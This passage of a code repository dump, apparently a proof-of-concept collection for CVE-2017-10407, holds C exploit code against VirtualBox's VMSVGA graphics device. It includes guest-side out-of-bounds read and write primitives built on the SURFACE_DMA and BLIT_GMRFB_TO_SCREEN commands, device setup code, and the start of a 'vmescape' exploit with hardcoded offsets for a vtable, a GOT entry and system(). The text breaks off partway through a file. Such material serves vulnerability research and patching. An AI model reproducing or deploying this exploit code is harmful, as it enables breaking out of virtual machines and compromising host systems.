VMwareWriteWordToFIFO(boxes.w); 99 | VMwareWriteWordToFIFO(boxes.h); 100 | VMwareWriteWordToFIFO(boxes.d); 101 | VMwareWriteWordToFIFO(boxes.srcx); 102 | VMwareWriteWordToFIFO(boxes.srcy); 103 | VMwareWriteWordToFIFO(boxes.srcz); 104 | 105 | /* copy data to framebuffer for writing to surface */ 106 | if (type == SVGA3D_WRITE_HOST_VRAM) { 107 | memcpy(gSVGA.fbMem, memory, size); 108 | } 109 | 110 | VMwareWaitForFB(); 111 | 112 | /* copy leaked data from framebuffer */ 113 | if (type == SVGA3D_READ_HOST_VRAM) { 114 | memcpy(memory, gSVGA.fbMem, size); 115 | } 116 | } 117 | 118 | uint64_t 119 | read64(uint32_t offset) 120 | { 121 | uint64_t value = 0; 122 | 123 | SVGA3dCmdHeader hdr = {0}; 124 | SVGA3dCmdSurfaceDMA surfacedma = {0}; 125 | SVGA3dCopyBox boxes = {0}; 126 | 127 | hdr.size = 64; 128 | 129 | surfacedma.guest.ptr.gmrId = SVGA_GMR_FRAMEBUFFER; 130 | surfacedma.guest.ptr.offset = 0; 131 | /* AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size */ 132 | surfacedma.guest.pitch = (0x100000000 - ((gSVGA.vramSize + offset) + sizeof(void *))); 133 | surfacedma.host.sid = 0; 134 | surfacedma.host.face = 0; 135 | surfacedma.host.mipmap = 0; 136 | surfacedma.transfer = SVGA3D_WRITE_HOST_VRAM; 137 | 138 | boxes.x = 0; 139 | boxes.y = 0; 140 | boxes.z = 0; 141 | boxes.w = sizeof(void *); // used for cbWidth 142 | boxes.h = 1; 143 | boxes.d = 2; // used for cHeight 144 | boxes.srcx = gSVGA.vramSize + offset; // for out of bound access 145 | boxes.srcy = 0; 146 | boxes.srcz = 0; 147 | 148 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 149 | 150 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DMA); 151 | VMwareWriteWordToFIFO(hdr.size); 152 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.gmrId); 153 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.offset); 154 | VMwareWriteWordToFIFO(surfacedma.guest.pitch); 155 | VMwareWriteWordToFIFO(surfacedma.host.sid); 156 | VMwareWriteWordToFIFO(surfacedma.host.face); 157 | VMwareWriteWordToFIFO(surfacedma.host.mipmap); 158 | VMwareWriteWordToFIFO(surfacedma.transfer); 159 | VMwareWriteWordToFIFO(boxes.x); 160 | VMwareWriteWordToFIFO(boxes.y); 161 | VMwareWriteWordToFIFO(boxes.z); 162 | VMwareWriteWordToFIFO(boxes.w); 163 | VMwareWriteWordToFIFO(boxes.h); 164 | VMwareWriteWordToFIFO(boxes.d); 165 | VMwareWriteWordToFIFO(boxes.srcx); 166 | VMwareWriteWordToFIFO(boxes.srcy); 167 | VMwareWriteWordToFIFO(boxes.srcz); 168 | 169 | VMwareWaitForFB(); 170 | 171 | /* copy the leaked data from surface to framebuffer */ 172 | copy_surface(0, SVGA3D_READ_HOST_VRAM, (uint8_t *)&value, sizeof(void *)); 173 | 174 | return value; 175 | } 176 | 177 | void 178 | write64(uint32_t offset, uint64_t value) 179 | { 180 | SVGA3dCmdHeader hdr = {0}; 181 | SVGA3dCmdSurfaceDMA surfacedma = {0}; 182 | SVGA3dCopyBox boxes = {0}; 183 | 184 | hdr.size = 64; 185 | 186 | surfacedma.guest.ptr.gmrId = SVGA_GMR_FRAMEBUFFER; 187 | surfacedma.guest.ptr.offset = 0; 188 | /* AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size */ 189 | surfacedma.guest.pitch = (0x100000000 - ((gSVGA.vramSize + offset) + sizeof(void *))); 190 | surfacedma.host.sid = 0; 191 | surfacedma.host.face = 0; 192 | surfacedma.host.mipmap = 0; 193 | surfacedma.transfer = SVGA3D_READ_HOST_VRAM; 194 | 195 | boxes.x = 0; 196 | boxes.y = 0; 197 | boxes.z = 0; 198 | boxes.w = sizeof(void *); // used for cbWidth 199 | boxes.h = 1; 200 | boxes.d = 2; // used for cHeight 201 | boxes.srcx = gSVGA.vramSize + offset; // for out of bound access 202 | boxes.srcy = 0; 203 | boxes.srcz = 0; 204 | 205 | /* fill the surface with contents from frame buffer */ 206 | copy_surface(0, SVGA3D_WRITE_HOST_VRAM, (uint8_t *)&value, sizeof(void *)); 207 | 208 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 209 | 210 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DMA); 211 | VMwareWriteWordToFIFO(hdr.size); 212 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.gmrId); 213 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.offset); 214 | VMwareWriteWordToFIFO(surfacedma.guest.pitch); 215 | VMwareWriteWordToFIFO(surfacedma.host.sid); 216 | VMwareWriteWordToFIFO(surfacedma.host.face); 217 | VMwareWriteWordToFIFO(surfacedma.host.mipmap); 218 | VMwareWriteWordToFIFO(surfacedma.transfer); 219 | VMwareWriteWordToFIFO(boxes.x); 220 | VMwareWriteWordToFIFO(boxes.y); 221 | VMwareWriteWordToFIFO(boxes.z); 222 | VMwareWriteWordToFIFO(boxes.w); 223 | VMwareWriteWordToFIFO(boxes.h); 224 | VMwareWriteWordToFIFO(boxes.d); 225 | VMwareWriteWordToFIFO(boxes.srcx); 226 | VMwareWriteWordToFIFO(boxes.srcy); 227 | VMwareWriteWordToFIFO(boxes.srcz); 228 | 229 | VMwareWaitForFB(); 230 | } 231 | 232 | int main(int argc, char **argv) 233 | { 234 | 235 | if (conf_svga_device() != 0) 236 | errx(EXIT_FAILURE, "[!] Error initializing SVGA device"); 237 | 238 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 239 | 240 | SVGA_WriteReg(SVGA_REG_WIDTH, 0x320); 241 | SVGA_WriteReg(SVGA_REG_HEIGHT, 0x260); 242 | SVGA_WriteReg(SVGA_REG_BITS_PER_PIXEL, 32); 243 | 244 | allocate_surface(0, 16); 245 | 246 | for (int offset = 0; offset < 24; offset++) { 247 | warnx("[%d]> 0x%lx", offset, read64(offset * sizeof(void *))); 248 | } 249 | return 0; 250 | } 251 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_3D_CMD_SURFACE_DMA/svga.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "svga.h" 9 | #include "svga_reg.h" 10 | 11 | extern SVGADevice gSVGA; 12 | 13 | uint32_t 14 | SVGA_ReadReg(uint32_t index) 15 | { 16 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 17 | return inl(gSVGA.ioBase + SVGA_VALUE_PORT); 18 | } 19 | 20 | void 21 | SVGA_WriteReg(uint32_t index, uint32_t value) 22 | { 23 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 24 | outl(value, gSVGA.ioBase + SVGA_VALUE_PORT); 25 | } 26 | 27 | void 28 | VMwareWaitForFB(void) 29 | { 30 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, true); 31 | SVGA_WriteReg(SVGA_REG_SYNC, SVGA_SYNC_GENERIC); 32 | while (SVGA_ReadReg(SVGA_REG_BUSY)); 33 | } 34 | 35 | void 36 | VMwareWriteWordToFIFO(uint32_t value) 37 | { 38 | uint32_t *VMwareFIFO = gSVGA.fifoMem; 39 | 40 | if ((VMwareFIFO[SVGA_FIFO_NEXT_CMD] + sizeof(uint32_t) == VMwareFIFO[SVGA_FIFO_STOP]) 41 | || (VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t) 42 | && VMwareFIFO[SVGA_FIFO_STOP] == VMwareFIFO[SVGA_FIFO_MIN])) { 43 | 44 | VMwareWaitForFB(); 45 | } 46 | 47 | VMwareFIFO[VMwareFIFO[SVGA_FIFO_NEXT_CMD] / sizeof(uint32_t)] = value; 48 | 49 | if(VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t)) { 50 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] = VMwareFIFO[SVGA_FIFO_MIN]; 51 | } else { 52 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] += sizeof(uint32_t); 53 | } 54 | } 55 | 56 | void 57 | pci_cleanup(struct pci_device_iterator *iter) 58 | { 59 | 60 | pci_iterator_destroy(iter); 61 | pci_system_cleanup(); 62 | } 63 | 64 | 65 | int 66 | conf_svga_device(void) 67 | { 68 | 69 | struct pci_device *dev; 70 | struct pci_device_iterator *iter; 71 | struct pci_id_match match; 72 | uint16_t command; 73 | 74 | if (getuid() != 0 || geteuid() != 0) 75 | errx(EXIT_FAILURE, "[!] Run program as root"); 76 | 77 | iopl(3); 78 | 79 | if (pci_system_init()) return -1; 80 | 81 | match.vendor_id = PCI_VENDOR_ID_VMWARE; 82 | match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2; 83 | match.subvendor_id = PCI_MATCH_ANY; 84 | match.subdevice_id = PCI_MATCH_ANY; 85 | match.device_class = 0; 86 | match.device_class_mask = 0; 87 | 88 | iter = pci_id_match_iterator_create(&match); 89 | dev = pci_device_next(iter); 90 | 91 | if (dev == NULL) { 92 | pci_cleanup(iter); 93 | return -1; 94 | } 95 | 96 | pci_device_probe(dev); 97 | 98 | gSVGA.ioBase = dev->regions[0].base_addr; 99 | gSVGA.fbMem = (void *)dev->regions[1].base_addr; 100 | gSVGA.fifoMem = (void *)dev->regions[2].base_addr; 101 | 102 | command = pci_device_cfg_read_u16(dev, 0, 4); 103 | pci_device_cfg_write_u16(dev, command | 7, 4); 104 | 105 | SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2); 106 | SVGA_WriteReg(SVGA_REG_ENABLE, true); 107 | 108 | gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE); 109 | gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE); 110 | gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE); 111 | 112 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize, 113 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem); 114 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize, 115 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem); 116 | 117 | pci_cleanup(iter); 118 | 119 | return 0; 120 | } 121 | 122 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_3D_CMD_SURFACE_DMA/svga.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef long long int64; 5 | typedef unsigned long long uint64; 6 | 7 | typedef int int32; 8 | typedef unsigned int uint32; 9 | 10 | typedef short int16; 11 | typedef unsigned short uint16; 12 | 13 | typedef char int8; 14 | typedef unsigned char uint8; 15 | 16 | typedef uint8 Bool; 17 | 18 | typedef struct SVGADevice { 19 | uint32 ioBase; 20 | uint32 *fifoMem; 21 | uint8 *fbMem; 22 | uint32 fifoSize; 23 | uint32 fbSize; 24 | uint32 vramSize; 25 | 26 | uint32 deviceVersionId; 27 | uint32 capabilities; 28 | 29 | uint32 width; 30 | uint32 height; 31 | uint32 bpp; 32 | uint32 pitch; 33 | } SVGADevice; 34 | 35 | uint32_t SVGA_ReadReg(uint32_t); 36 | void SVGA_WriteReg(uint32_t, uint32_t); 37 | void VMwareWaitForFB(void); 38 | void VMwareWriteWordToFIFO(uint32_t); 39 | int conf_svga_device(void); 40 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_CMD_BLIT_GMRFB_TO_SCREEN/Makefile: -------------------------------------------------------------------------------- 1 | poc: svga.c poc.c 2 | gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess 3 | clean: 4 | rm poc 5 | 6 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_CMD_BLIT_GMRFB_TO_SCREEN/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "svga.h" 6 | #include "svga_reg.h" 7 | 8 | SVGADevice gSVGA; 9 | 10 | void 11 | get_parameters(uint32_t offset, uint32_t *bytesPerLine, int *srcOrigin_x) 12 | { 13 | /* offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y; */ 14 | *srcOrigin_x = (gSVGA.vramSize + offset)/4; 15 | /* AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size */ 16 | *bytesPerLine = (0x100000000 - ((gSVGA.vramSize + offset) + sizeof(void *))); 17 | } 18 | 19 | uint64_t 20 | read_mem64(uint32_t offset) 21 | { 22 | uint64_t *fb_infoleak; 23 | uint64_t leaked_heap_memory; 24 | 25 | SVGAFifoCmdDefineGMRFB gmrfb = {0}; 26 | SVGAFifoCmdBlitGMRFBToScreen screen = {0}; 27 | 28 | get_parameters(offset, &gmrfb.bytesPerLine, &screen.srcOrigin.x); 29 | 30 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 31 | 32 | SVGA_WriteReg(SVGA_REG_WIDTH, 0x320); 33 | SVGA_WriteReg(SVGA_REG_HEIGHT, 0x260); 34 | /* svga.uBpp */ 35 | SVGA_WriteReg(SVGA_REG_BITS_PER_PIXEL, 32); 36 | 37 | gmrfb.ptr.gmrId = SVGA_GMR_FRAMEBUFFER; 38 | gmrfb.ptr.offset = 0; 39 | /* gmrfb.bytesPerLine = 0xDEADBE00; */ 40 | /* AssertBreak(pSVGAState->GMRFB.format.s.bitsPerPixel == pThis->svga.uBpp); */ 41 | gmrfb.format.bitsPerPixel = 32; 42 | 43 | VMwareWriteWordToFIFO(SVGA_CMD_DEFINE_GMRFB); 44 | VMwareWriteWordToFIFO(gmrfb.ptr.gmrId); 45 | VMwareWriteWordToFIFO(gmrfb.ptr.offset); 46 | VMwareWriteWordToFIFO(gmrfb.bytesPerLine); 47 | VMwareWriteWordToFIFO(gmrfb.format.bitsPerPixel); 48 | 49 | VMwareWaitForFB(); 50 | 51 | /* screen.srcOrigin.x = 0xDEADBE00; */ 52 | screen.srcOrigin.y = 0; 53 | screen.destRect.left = 0; 54 | screen.destRect.top = 0; 55 | screen.destScreenId = 0; 56 | 57 | /* used for width calculation */ 58 | screen.destRect.right = 2; 59 | /* used for height calculation */ 60 | screen.destRect.bottom = 2; 61 | 62 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 63 | 64 | VMwareWriteWordToFIFO(SVGA_CMD_BLIT_GMRFB_TO_SCREEN); 65 | VMwareWriteWordToFIFO(screen.srcOrigin.x); 66 | VMwareWriteWordToFIFO(screen.srcOrigin.y); 67 | VMwareWriteWordToFIFO(screen.destRect.left); 68 | VMwareWriteWordToFIFO(screen.destRect.top); 69 | VMwareWriteWordToFIFO(screen.destRect.right); 70 | VMwareWriteWordToFIFO(screen.destRect.bottom); 71 | VMwareWriteWordToFIFO(screen.destScreenId); 72 | 73 | VMwareWaitForFB(); 74 | 75 | fb_infoleak = (uint64_t *)gSVGA.fbMem; 76 | leaked_heap_memory = fb_infoleak[0]; 77 | 78 | return leaked_heap_memory; 79 | } 80 | 81 | int main(int argc, char **argv) 82 | { 83 | 84 | if (conf_svga_device() != 0) 85 | errx(EXIT_FAILURE, "[!] Error initializing SVGA device"); 86 | 87 | memset(gSVGA.fbMem, 0x41, gSVGA.fbSize); 88 | 89 | warnx("[+] Reading memory beyond VRAM..."); 90 | for (int offset = 0; offset < 24; offset++) { 91 | warnx("[%d]> 0x%lx", offset, read_mem64(offset * sizeof(void *))); 92 | } 93 | 94 | return 0; 95 | } 96 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_CMD_BLIT_GMRFB_TO_SCREEN/svga.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "svga.h" 9 | #include "svga_reg.h" 10 | 11 | extern SVGADevice gSVGA; 12 | 13 | uint32_t 14 | SVGA_ReadReg(uint32_t index) 15 | { 16 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 17 | return inl(gSVGA.ioBase + SVGA_VALUE_PORT); 18 | } 19 | 20 | void 21 | SVGA_WriteReg(uint32_t index, uint32_t value) 22 | { 23 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 24 | outl(value, gSVGA.ioBase + SVGA_VALUE_PORT); 25 | } 26 | 27 | void 28 | VMwareWaitForFB(void) 29 | { 30 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, true); 31 | SVGA_WriteReg(SVGA_REG_SYNC, SVGA_SYNC_GENERIC); 32 | while (SVGA_ReadReg(SVGA_REG_BUSY)); 33 | } 34 | 35 | void 36 | VMwareWriteWordToFIFO(uint32_t value) 37 | { 38 | uint32_t *VMwareFIFO = gSVGA.fifoMem; 39 | 40 | if ((VMwareFIFO[SVGA_FIFO_NEXT_CMD] + sizeof(uint32_t) == VMwareFIFO[SVGA_FIFO_STOP]) 41 | || (VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t) 42 | && VMwareFIFO[SVGA_FIFO_STOP] == VMwareFIFO[SVGA_FIFO_MIN])) { 43 | 44 | VMwareWaitForFB(); 45 | } 46 | 47 | VMwareFIFO[VMwareFIFO[SVGA_FIFO_NEXT_CMD] / sizeof(uint32_t)] = value; 48 | 49 | if(VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t)) { 50 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] = VMwareFIFO[SVGA_FIFO_MIN]; 51 | } else { 52 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] += sizeof(uint32_t); 53 | } 54 | } 55 | 56 | void 57 | pci_cleanup(struct pci_device_iterator *iter) 58 | { 59 | 60 | pci_iterator_destroy(iter); 61 | pci_system_cleanup(); 62 | } 63 | 64 | 65 | int 66 | conf_svga_device(void) 67 | { 68 | 69 | struct pci_device *dev; 70 | struct pci_device_iterator *iter; 71 | struct pci_id_match match; 72 | uint16_t command; 73 | 74 | if (getuid() != 0 || geteuid() != 0) 75 | errx(EXIT_FAILURE, "[!] Run program as root"); 76 | 77 | iopl(3); 78 | 79 | if (pci_system_init()) return -1; 80 | 81 | match.vendor_id = PCI_VENDOR_ID_VMWARE; 82 | match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2; 83 | match.subvendor_id = PCI_MATCH_ANY; 84 | match.subdevice_id = PCI_MATCH_ANY; 85 | match.device_class = 0; 86 | match.device_class_mask = 0; 87 | 88 | iter = pci_id_match_iterator_create(&match); 89 | dev = pci_device_next(iter); 90 | 91 | if (dev == NULL) { 92 | pci_cleanup(iter); 93 | return -1; 94 | } 95 | 96 | pci_device_probe(dev); 97 | 98 | gSVGA.ioBase = dev->regions[0].base_addr; 99 | gSVGA.fbMem = (void *)dev->regions[1].base_addr; 100 | gSVGA.fifoMem = (void *)dev->regions[2].base_addr; 101 | 102 | command = pci_device_cfg_read_u16(dev, 0, 4); 103 | pci_device_cfg_write_u16(dev, command | 7, 4); 104 | 105 | SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2); 106 | SVGA_WriteReg(SVGA_REG_ENABLE, true); 107 | 108 | gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE); 109 | gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE); 110 | gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE); 111 | 112 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize, 113 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem); 114 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize, 115 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem); 116 | 117 | pci_cleanup(iter); 118 | 119 | return 0; 120 | } 121 | 122 | -------------------------------------------------------------------------------- /CVE-2017-10407/SVGA_CMD_BLIT_GMRFB_TO_SCREEN/svga.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef long long int64; 5 | typedef unsigned long long uint64; 6 | 7 | typedef int int32; 8 | typedef unsigned int uint32; 9 | 10 | typedef short int16; 11 | typedef unsigned short uint16; 12 | 13 | typedef char int8; 14 | typedef unsigned char uint8; 15 | 16 | typedef uint8 Bool; 17 | 18 | typedef struct SVGADevice { 19 | uint32 ioBase; 20 | uint32 *fifoMem; 21 | uint8 *fbMem; 22 | uint32 fifoSize; 23 | uint32 fbSize; 24 | uint32 vramSize; 25 | 26 | uint32 deviceVersionId; 27 | uint32 capabilities; 28 | 29 | uint32 width; 30 | uint32 height; 31 | uint32 bpp; 32 | uint32 pitch; 33 | } SVGADevice; 34 | 35 | uint32_t SVGA_ReadReg(uint32_t); 36 | void SVGA_WriteReg(uint32_t, uint32_t); 37 | void VMwareWaitForFB(void); 38 | void VMwareWriteWordToFIFO(uint32_t); 39 | int conf_svga_device(void); 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # virtualbox-vmsvga-bugs -------------------------------------------------------------------------------- /vmescape/Makefile: -------------------------------------------------------------------------------- 1 | exploit: mmu.c device.c exploit.c 2 | gcc -Wall -ggdb -std=gnu99 -DVBOX_WITH_HGCM -o exploit mmu.c device.c exploit.c -lpciaccess 3 | clean: 4 | rm exploit 5 | 6 | -------------------------------------------------------------------------------- /vmescape/VBoxGuest.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #pragma pack(4) 4 | typedef struct VBoxGuestPortInfo 5 | { 6 | uint32_t portAddress; 7 | void *pVMMDevMemory; 8 | } VBoxGuestPortInfo; 9 | 10 | /** 11 | * VMMDev request types. 12 | * @note when updating this, adjust vmmdevGetRequestSize() as well 13 | */ 14 | typedef enum 15 | { 16 | VMMDevReq_InvalidRequest = 0, 17 | VMMDevReq_GetMouseStatus = 1, 18 | VMMDevReq_SetMouseStatus = 2, 19 | VMMDevReq_SetPointerShape = 3, 20 | VMMDevReq_GetHostVersion = 4, 21 | VMMDevReq_Idle = 5, 22 | VMMDevReq_GetHostTime = 10, 23 | VMMDevReq_GetHypervisorInfo = 20, 24 | VMMDevReq_SetHypervisorInfo = 21, 25 | VMMDevReq_RegisterPatchMemory = 22, /* since version 3.0.6 */ 26 | VMMDevReq_DeregisterPatchMemory = 23, /* since version 3.0.6 */ 27 | VMMDevReq_SetPowerStatus = 30, 28 | VMMDevReq_AcknowledgeEvents = 41, 29 | VMMDevReq_CtlGuestFilterMask = 42, 30 | VMMDevReq_ReportGuestInfo = 50, 31 | VMMDevReq_ReportGuestInfo2 = 58, /* since version 3.2.0 */ 32 | VMMDevReq_ReportGuestStatus = 59, /* since version 3.2.8 */ 33 | VMMDevReq_ReportGuestUserState = 74, /* since version 4.3 */ 34 | /** 35 | * Retrieve a display resize request sent by the host using 36 | * @a IDisplay:setVideoModeHint. Deprecated. 37 | * 38 | * Similar to @a VMMDevReq_GetDisplayChangeRequest2, except that it only 39 | * considers host requests sent for the first virtual display. This guest 40 | * request should not be used in new guest code, and the results are 41 | * undefined if a guest mixes calls to this and 42 | * @a VMMDevReq_GetDisplayChangeRequest2. 43 | */ 44 | VMMDevReq_GetDisplayChangeRequest = 51, 45 | VMMDevReq_VideoModeSupported = 52, 46 | VMMDevReq_GetHeightReduction = 53, 47 | /** 48 | * Retrieve a display resize request sent by the host using 49 | * @a IDisplay:setVideoModeHint. 50 | * 51 | * Queries a display resize request sent from the host. If the 52 | * @a eventAck member is sent to true and there is an unqueried 53 | * request available for one of the virtual display then that request will 54 | * be returned. If several displays have unqueried requests the lowest 55 | * numbered display will be chosen first. Only the most recent unseen 56 | * request for each display is remembered. 57 | * If @a eventAck is set to false, the last host request queried with 58 | * @a eventAck set is resent, or failing that the most recent received from 59 | * the host. If no host request was ever received then all zeros are 60 | * returned. 61 | */ 62 | VMMDevReq_GetDisplayChangeRequest2 = 54, 63 | VMMDevReq_ReportGuestCapabilities = 55, 64 | VMMDevReq_SetGuestCapabilities = 56, 65 | VMMDevReq_VideoModeSupported2 = 57, /* since version 3.2.0 */ 66 | VMMDevReq_GetDisplayChangeRequestEx = 80, /* since version 4.2.4 */ 67 | #ifdef VBOX_WITH_HGCM 68 | VMMDevReq_HGCMConnect = 60, 69 | VMMDevReq_HGCMDisconnect = 61, 70 | #ifdef VBOX_WITH_64_BITS_GUESTS 71 | VMMDevReq_HGCMCall32 = 62, 72 | VMMDevReq_HGCMCall64 = 63, 73 | #else 74 | VMMDevReq_HGCMCall = 62, 75 | #endif /* VBOX_WITH_64_BITS_GUESTS */ 76 | VMMDevReq_HGCMCancel = 64, 77 | VMMDevReq_HGCMCancel2 = 65, 78 | #endif 79 | VMMDevReq_VideoAccelEnable = 70, 80 | VMMDevReq_VideoAccelFlush = 71, 81 | VMMDevReq_VideoSetVisibleRegion = 72, 82 | VMMDevReq_GetSeamlessChangeRequest = 73, 83 | VMMDevReq_QueryCredentials = 100, 84 | VMMDevReq_ReportCredentialsJudgement = 101, 85 | VMMDevReq_ReportGuestStats = 110, 86 | VMMDevReq_GetMemBalloonChangeRequest = 111, 87 | VMMDevReq_GetStatisticsChangeRequest = 112, 88 | VMMDevReq_ChangeMemBalloon = 113, 89 | VMMDevReq_GetVRDPChangeRequest = 150, 90 | VMMDevReq_LogString = 200, 91 | VMMDevReq_GetCpuHotPlugRequest = 210, 92 | VMMDevReq_SetCpuHotPlugStatus = 211, 93 | VMMDevReq_RegisterSharedModule = 212, 94 | VMMDevReq_UnregisterSharedModule = 213, 95 | VMMDevReq_CheckSharedModules = 214, 96 | VMMDevReq_GetPageSharingStatus = 215, 97 | VMMDevReq_DebugIsPageShared = 216, 98 | VMMDevReq_GetSessionId = 217, /* since version 3.2.8 */ 99 | VMMDevReq_WriteCoreDump = 218, 100 | VMMDevReq_GuestHeartbeat = 219, 101 | VMMDevReq_HeartbeatConfigure = 220, 102 | VMMDevReq_SizeHack = 0x7fffffff 103 | } VMMDevRequestType; 104 | 105 | /** Version of VMMDevRequestHeader structure. */ 106 | #define VMMDEV_REQUEST_HEADER_VERSION (0x10001) 107 | 108 | 109 | /** 110 | * Generic VMMDev request header. 111 | */ 112 | typedef struct 113 | { 114 | /** IN: Size of the structure in bytes (including body). */ 115 | uint32_t size; 116 | /** IN: Version of the structure. */ 117 | uint32_t version; 118 | /** IN: Type of the request. */ 119 | VMMDevRequestType requestType; 120 | /** OUT: Return code. */ 121 | int32_t rc; 122 | /** Reserved field no.1. MBZ. */ 123 | uint32_t reserved1; 124 | /** Reserved field no.2. MBZ. */ 125 | uint32_t reserved2; 126 | } __attribute__((packed)) VMMDevRequestHeader; 127 | 128 | /** 129 | * HGCM service location types. 130 | * @ingroup grp_vmmdev_req 131 | */ 132 | typedef enum 133 | { 134 | VMMDevHGCMLoc_Invalid = 0, 135 | VMMDevHGCMLoc_LocalHost = 1, 136 | VMMDevHGCMLoc_LocalHost_Existing = 2, 137 | VMMDevHGCMLoc_SizeHack = 0x7fffffff 138 | } HGCMServiceLocationType; 139 | 140 | /** 141 | * HGCM host service location. 142 | * @ingroup grp_vmmdev_req 143 | */ 144 | typedef struct 145 | { 146 | char achName[128]; /**< This is really szName. */ 147 | } __attribute__((packed)) HGCMServiceLocationHost; 148 | 149 | /** 150 | * HGCM service location. 151 | * @ingroup grp_vmmdev_req 152 | */ 153 | typedef struct HGCMSERVICELOCATION 154 | { 155 | /** Type of the location. */ 156 | HGCMServiceLocationType type; 157 | 158 | union 159 | { 160 | HGCMServiceLocationHost host; 161 | } u; 162 | } __attribute__((packed)) HGCMServiceLocation; 163 | 164 | 165 | /** 166 | * HGCM request header. 167 | */ 168 | typedef struct VMMDevHGCMRequestHeader 169 | { 170 | /** Request header. */ 171 | VMMDevRequestHeader header; 172 | 173 | /** HGCM flags. */ 174 | uint32_t fu32Flags; 175 | 176 | /** Result code. */ 177 | int32_t result; 178 | } __attribute__((packed)) VMMDevHGCMRequestHeader; 179 | 180 | /** 181 | * HGCM connect request structure. 182 | * 183 | * Used by VMMDevReq_HGCMConnect. 184 | */ 185 | typedef struct 186 | { 187 | /** HGCM request header. */ 188 | VMMDevHGCMRequestHeader header; 189 | 190 | /** IN: Description of service to connect to. */ 191 | HGCMServiceLocation loc; 192 | 193 | /** OUT: Client identifier assigned by local instance of HGCM. */ 194 | uint32_t u32ClientID; 195 | } __attribute__((packed)) VMMDevHGCMConnect; 196 | 197 | /** 198 | * HGCM disconnect request structure. 199 | * 200 | * Used by VMMDevReq_HGCMDisconnect. 201 | */ 202 | typedef struct 203 | { 204 | /** HGCM request header. */ 205 | VMMDevHGCMRequestHeader header; 206 | 207 | /** IN: Client identifier. */ 208 | uint32_t u32ClientID; 209 | } __attribute__((packed)) VMMDevHGCMDisconnect; 210 | 211 | uint64_t gva_to_gpa(uint64_t); 212 | -------------------------------------------------------------------------------- /vmescape/address.h: -------------------------------------------------------------------------------- 1 | uint64_t hgcm_vtable_offset = 0x002e3d50; 2 | uint64_t got_stack_chk_fail = 0x002D5200; 3 | uint64_t libsystem_c_system = 0x0007C81A; 4 | uint64_t libsystem_c_stack_chk_fail = 0x0005DA2B; 5 | 6 | uint64_t 